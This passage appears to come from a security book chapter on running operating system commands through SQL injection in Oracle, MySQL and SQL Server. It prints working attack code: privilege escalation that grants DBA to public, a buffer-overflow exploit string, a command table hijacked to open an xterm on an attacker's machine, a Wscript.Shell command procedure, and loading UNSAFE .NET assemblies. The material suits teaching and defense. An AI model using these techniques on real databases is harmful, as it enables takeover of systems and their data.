Executing commands through the database server serves
multiple purposes. Other than the massive amount of fame and fortune
that such activity attracts, command execution is normally searched for
because of the high level of privileges with which most database servers
run. A remote exploit against Apache will, at best, result in a shell
with a user ID of nobody
(probably within a jailed environment), but the equivalent attack
against a DBMS will almost always yield high levels of permission. On
Windows, this has traditionally been the System privilege.
Direct Execution
This section deals
with executing operating system commands directly through SQL injection
by exploiting functionality built into the RDBMS.
Oracle
Oracle offers
various documented and undocumented possibilities for running operating
system commands. Most of these commands are available only if you have
full access to the database (e.g., via SQL∗Plus) or via PL/SQL
injection, but not via SQL injection.
Depending on the Oracle version, the following methods are available. Oracle EXTPROC, Java, and DBMS_SCHEDULER are official methods from Oracle to run operating system commands. For EXTPROC and Java, the following tool can be used to automate this process:
DBMS_SCHEDULER
DBMS_SCHEDULER is new since Oracle 10g and requires CREATE JOB (10g Rel. 1) or CREATE EXTERNAL JOB (10g Rel. 2/11g) privileges. Since 10.2.0.2, the operating system commands are no longer executed as user Oracle, but as user nobody.
--Create a Program for dbms_scheduler
exec DBMS_SCHEDULER.create_program('RDS2009','EXECUTABLE', '
c:\WINDOWS\system32\cmd.exe /c echo 0wned >> c:\rds3.txt',0,TRUE);
--Create, execute and delete a Job for dbms_scheduler
exec DBMS_SCHEDULER.create_job(job_name => 'RDS2009JOB',program_name => '
RDS2009',start_date => NULL,repeat_interval => NULL,end_date =>
NULL,enabled => TRUE,auto_drop => TRUE);
PL/SQL Native
PL/SQL native in
Oracle 10g/11g is undocumented, but in my experience it is the most
reliable way to run operating system commands in Oracle 10g/11g because
the commands are executed as user Oracle.
There are no special requirements, as there are with Java and EXTPROC
variations. The only requirement for PL/SQL native is the right to
modify the SPNC_COMMANDS text file on the database server. Oracle will
execute everything in this file if a procedure/function/package is
created and PL/SQL native is enabled.
The following code grants DBA privileges to public by using PL/SQL native. The grant command is nothing other than an INSERT INTO SYSAUTH$ command which can normally be executed only as user SYS. In this example, we create a text file called e2.sql which is executed by sqlplus. This sqlplus command is started via PL/SQL native.
CREATE OR REPLACE FUNCTION F1 return number
authid current_user as
pragma autonomous_transaction;
v_file UTL_FILE.FILE_TYPE;
BEGIN
EXECUTE IMMEDIATE q'!create directory TX as 'C:\'!';
begin
-- grant dba to public;
DBMS_ADVISOR.CREATE_FILE ( 'insert into sys.sysauth$
values(1,4,0,null);'||chr(13)||chr(10)||' exit;', 'TX', 'e2.sql' );
end;
EXECUTE IMMEDIATE q'!drop directory TX!';
EXECUTE IMMEDIATE q'!create directory T as 'C:\ORACLE\ORA101\PLSQL'!';
utl_file.fremove('T','spnc_commands');
v_file := utl_file.fopen('T','spnc_commands', 'w');
utl_file.put_line(v_file,'sqlplus / as sysdba @c:\e2.sql');
utl_file.fclose(v_file);
EXECUTE IMMEDIATE q'!drop directory T!';
EXECUTE IMMEDIATE q'!alter session set plsql_compiler_flags='NATIVE'!';
EXECUTE IMMEDIATE q'!alter system set plsql_native_library_dir='C:\'!';
EXECUTE IMMEDIATE q'!create or replace procedure h1 as begin null; end;!';
COMMIT;
RETURN 1;
END;
/
Other Possibilities
In
addition to the methods above, it can also be possible to execute
operating system code using other functionality within the database,
including the following:
Alter System Set Events
Alter system set is an
undocumented parameter (since Oracle 10g) that allows you to specify
the name of a custom debugger which will be executed during a debugging
event, which would then need to be forced. For example:
alter system set "_oradbg_pathname"='/tmp/debug.sh';
PL/SQL Native 9i
Since 9i Rel. 2,
Oracle offers the possibility to convert PL/SQL code into C code. To
increase the flexibility, Oracle allows you to change the name of the make utility (e.g., to calc.exe or any other executable). For example:
alter system set plsql_native_make_utility='cmd.exe /c echo Owned >
c:\rds.txt &';
alter session set plsql_compiler_flags='NATIVE';
Create or replace procedure rds as begin null; end; /
Buffer Overflows
In 2004, Cesar Cerrudo published an exploit for a buffer overflow in the Oracle functions NUMTOYMINTERVAL and NUMTODSINTERVAL (see http://seclists.org/vulnwatch/2004/q1/0030.html). By using the following exploit, it was possible to run operating system commands on the database server:
SELECT NUMTOYMINTERVAL (1,'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDEFGHIJKLMNOPQR'
||chr(59)||chr(79)||chr(150)||chr(01)||chr(141)||chr(68)||chr(36)||chr(18)||
chr(80)||chr(255)||chr(21)||chr(52)||chr(35)||chr(148)||chr(01)||chr(255)||
chr(37)||chr(172)||chr(33)||chr(148)||chr(01)||chr(32)||'echo ARE YOU SURE?
>c:\Unbreakable.txt') FROM DUAL;
Custom Application Code
In the Oracle world, it is
not uncommon to use tables containing operating system commands. These
commands will be executed by an external program connecting to the
database. By updating such an entry in the database with the command of
your choice, you can often overtake systems. It's always worth it to
check all tables for columns containing operating system commands. For
example:
+----+------------------------------------------+-------------------+
| Id | Command | Description |
+----+------------------------------------------+-------------------+
| 1 | sqlplus –s / as sysdba @report.sql | Run a report |
+----+------------------------------------------+-------------------+
| 2 | rm /tmp/*.tmp | Daily cleanup |
+----+------------------------------------------+-------------------+
By replacing rm /tmp/*.tmp with xterm –display 192.168.2.21, sooner or later a new xterm window with Oracle privileges will appear on the attacker's PC.
MySQL
MySQL does not
natively support the execution of shell commands. Most times the
attacker hopes that the MySQL server and Web server reside on the same
box, allowing him to use the “select into DUMPFILE” technique to build a
rogue Common Gateway Interface (CGI) on the target machine. The “create
UDF” attack detailed by NGS Software (www.ngssoftware.com/papers/HackproofingMySQL.pdf)
is excellent thinking, but it's not easy to do through an SQL injection
attack (again because you cannot execute multiple queries separated by a
command separator). Stacked queries are possible in MySQL 5 and later,
but this has not been found in the wild very often (yet).
Microsoft SQL Server
Once more, we can find the lion's share of exploitation fun within Microsoft SQL Server. Attackers found the joy of xp_cmdshell ages ago and it certainly revived interest in how much can be done from the command line. xp_cmdshell has intuitive syntax, accepting a single parameter which is the command to be executed. The results of a simple ipconfig command appear in Figure 1.
On modern versions of SQL Server, however, xp_cmdshell
is disabled by default. This (along with many other settings) can be
configured through the Surface Area Configuration tool that ships with
SQL Server. The Surface Area Configuration tool is shown in Figure 2.
This, however, poses little
problem if the attacker has the necessary privileges, since it can once
more be turned on through in-band signaling using the sp_configure statement.
Figure 3 demonstrates how to reenable xp_cmdshell
within Query Manager. A quick search on the Internet for “xp_cmdshell
alternative” will also quickly point you to the hordes of posts where
people have rediscovered the possibility of instantiating a Wscript.Shell
instance through T-SQL in much the same manner . The neatest of these, demonstrated
in the code that follows, creates a new stored procedure called xp_cmdshell3.
CREATE PROCEDURE xp_cmdshell3(@cmd varchar(255), @Wait int = 0) AS
--Create WScript.Shell object
DECLARE @result int, @OLEResult int, @RunResult int
DECLARE @ShellID int
EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
--If @OLEResult <> 0 EXEC sp_displayoaerrorinfo @ShellID, @OLEResult
EXECUTE @OLEResult = sp_OADestroy @ShellID
return @result
SQL
Server 2005 and later also present a few new options for code
execution, thanks once more to integration with the .NET CLR. This
functionality, as mentioned earlier, is turned off by default but can be
reenabled through a good SQL injection string and the right
permissions.
We used the CREATE ASSEMBLY
directives to get SQL Server to load a file from the system. If you
want to use this functionality to load a valid .NET binary, you would
once more have three options:
Create and load the executable locally:
Create the source file on the system.
Compile the source file to an executable.
Call CREATE ASSEMBLY FOO from C:\temp\foo.dll.
Load the executable from a UNC share:
Create the DLL (or EXE) on a publicly accessible Windows share.
Call CREATE ASSEMBLY FOO from \\public_server\temp\foo.dll.
Create the executable from a passed string:
Unpack the executable into HEX:
File.open("moo.dll","rb").read().unpack("H*")
["4d5a90000300000004000000ffff0……]
Call CREATE ASSEMBLY MOO from 0x4d5a90000300000004000000ffff0.
The question that remains
is what level of trust is given to these executables, considering the
robust trust levels afforded through .NET. A full discussion of the .NET
trust levels is beyond the scope of this book, but for completeness
they are as follows:
SAFE:
EXTERNAL_ACCESS:
UNSAFE:
Equivalent of full trust
Call unmanaged code
Do anything as SYSTEM
Our goal would obviously
be to be able to load a binary as UNSAFE. To do this, however, requires
that our binary be signed during development and that our key be trusted
to the database. This would seem like too much of a mission to overcome
through injection, but we are afforded a way out, since we can simply
set the database to “Trustworthy” to bypass this limitation.
This allows us to
create a .NET binary with no limitations and then import it into the
system with permission set to UNSAFE (see Figure 4).